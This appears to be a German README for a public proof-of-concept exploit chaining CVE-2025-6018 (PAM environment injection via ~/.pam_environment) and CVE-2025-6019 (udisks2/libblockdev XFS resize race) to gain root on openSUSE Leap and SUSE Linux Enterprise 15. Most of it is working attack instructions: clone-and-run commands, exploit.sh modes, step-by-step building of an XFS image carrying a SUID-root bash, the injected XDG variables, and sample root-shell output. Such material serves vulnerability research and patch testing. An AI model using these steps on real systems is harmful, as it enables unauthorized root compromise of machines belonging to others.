CVE-2025-6018 CVE-2025-6019 PoC Exploit

Lokale Privilegienausweitung (LPE) - openSUSE / SUSE Linux Enterprise 15

Funktionierender PoC/Exploit für CVE-2025-6018 und CVE-2025-6019 - Privilegienausweitung von einem unprivilegierten Benutzer zu root auf openSUSE Leap 15.x und SUSE Linux Enterprise 15.x

🎯 Kurzübersicht

CVE-ID	Sicherheitslücke	Auswirkung
CVE-2025-6018	PAM-Umgebungsvariablen-Injektion	Umgehung des allow_active-Polkit-Status
CVE-2025-6019	udisks2/libblockdev XFS Resize Race Condition	Root-Shell

Angriffskette

Unprivilegierter SSH-Benutzer → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 Proof-of-Concept-Demo

# Schwachstelle prüfen
./exploit.sh --check

# PAM-Umgehung einrichten (CVE-2025-6018)
./exploit.sh --setup

# SSH neu verbinden, dann: su - $USER

# Ausnutzen (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Ergebnis: ROOT-SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 Installation

git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 Betroffene Systeme

• ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
• ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
• ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ Hinweis: openSUSE Leap 15.6 erreicht das Ende seiner Lebensdauer am 30. April 2026. Nach diesem Datum werden keine Sicherheitspatches mehr veröffentlicht. Benutzer sollten auf Leap 16.0 oder SLES mit erweitertem Support migrieren.

Angreifbare Komponenten

• PAM (Linux-PAM 1.3.0 - 1.6.0) mit user_readenv=1
• udisks2 2.9.x mit libblockdev
• polkit mit allow_active: yes für udisks2-Aktionen

📖 Verwendung

Option 1: Schwachstelle prüfen

./exploit.sh --check

Option 2: PAM-Umgehung einrichten (CVE-2025-6018)

./exploit.sh --setup
# Dann: SSH trennen, neu verbinden, ausführen: su - $USER

Option 3: Ausnutzen (CVE-2025-6019)

./exploit.sh --exploit /tmp/xfs.img

Option 4: Vollautomatischer Modus

./exploit.sh --auto /tmp/xfs.img

Option 5: Anleitung zur Image-Erstellung anzeigen

./exploit.sh --create-image

🛠️ Erstellen des XFS-Payload-Images

Auf dem ANGREIFER-Rechner als root ausführen:

⚠️ Sie MÜSSEN die /usr/bin/bash-Binärdatei des Ziels verwenden, nicht Ihre lokale. Eine Bash-Binärdatei aus einer anderen Distribution (Kali, Arch, Ubuntu usw.) wird auf dem Ziel aufgrund von glibc/Shared-Library-ABI-Inkompatibilität fehlschlagen – selbst bei derselben x86_64-Architektur.

Verwendung des Hilfsskripts (empfohlen)

Das Skript erkennt automatisch Ihre xfsprogs-Version und wendet die korrekten Flags an:

# Zuerst Bash des Ziels holen
scp user@target:/usr/bin/bash /tmp/victim_bash

# Image erstellen (automatisch sichere mkfs-Flags erkennen)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# Für SUSE 15 SP1-SP4-Ziele (Kernel < 5.14) Kompatibilitätsmodus verwenden:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

Manuelle Erstellung

sudo su -

# 1. Bash-Binärdatei des Ziels holen
scp user@target:/usr/bin/bash /tmp/bash

# 2. 300 MB XFS-Image mit sicheren Flags erstellen
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mit SUID-Unterstützung einhängen
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Bash des Ziels kopieren und SUID-Bit setzen
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUSS zeigen: -rwsr-xr-x

# 5. Aushängen und übertragen
umount /tmp/mnt
scp xfs.img user@target:/tmp/

XFS-Format-Kompatibilität

Das XFS-Image muss mit Flags formatiert werden, die mit dem Ziel-Kernel kompatibel sind. Neuere Versionen von xfsprogs aktivieren standardmäßig On-Disk-Funktionen, die ältere SUSE-Kernel nicht lesen können, was zu Fehlern wie wrong fs type, bad superblock während des udisks2-Resize-Mounts führt.

Ziel	Kernel	mkfs.xfs-Befehl
SUSE 15 SP5-SP6	5.14 / 6.4	mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP4	4.12 - 5.3	mkfs.xfs -f -m crc=0,reflink=0 xfs.img

Warum? exchange und parent sind Kernel 6.10+-Funktionen (standardmäßig aktiv in xfsprogs 6.x). bigtime, inobtcount und nrext64 sind Kernel 5.10+-Funktionen. Der SP1-SP4 „compat"-Befehl (-m crc=0,reflink=0) erstellt ein V4-XFS-Format mit allen modernen Funktionen deaktiviert, das auf jedem SUSE 15 SP funktioniert.

🔬 Technische Details

CVE-2025-6018: PAM-Umgebungsinjektion

Schwachstelle: Das PAM-Modul pam_env liest ~/.pam_environment mit user_readenv=1 (Standard unter SUSE) und ermöglicht so die Injektion von Umgebungsvariablen.

Ausnutzung: Setzen Sie XDG_SEAT=seat0 und XDG_VTNR=1, um systemd-logind dazu zu bringen, allow_active-Polkit-Berechtigungen zu gewähren.

# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019: XFS-Resize-Race-Condition

Schwachstelle: Beim Vergrößern eines XFS-Dateisystems über udisks2 hängt libblockdev das Dateisystem vorübergehend ohne das nosuid-Flag ein.

Ausnutzung:

1. XFS-Image mit SUID-Root-Binärdatei erstellen
2. Loop-Gerät einrichten
3. Resize über D-Bus auslösen
4. Rennen um die Ausführung der SUID-Binärdatei während des temporären Mounts
5. Root-Shell erhalten

📋 Vollständige Ausnutzungsschritt-für-Schritt

Schritt 1: Schwachstelle prüfen

./exploit.sh --check

Ausgabe:

[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

Schritt 2: PAM-Umgehung einrichten

./exploit.sh --setup
exit
ssh user@target
su - $USER

Schritt 3: allow_active überprüfen

./exploit.sh --check

Ausgabe:

[+] allow_active status: YES
    You have allow_active privileges!

Schritt 4: XFS-Image übertragen

# Auf Angreifer:
scp xfs.img user@target:/tmp/

Schritt 5: Ausnutzen

./exploit.sh --exploit /tmp/xfs.img

Ausgabe:

[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 Fehlerbehebung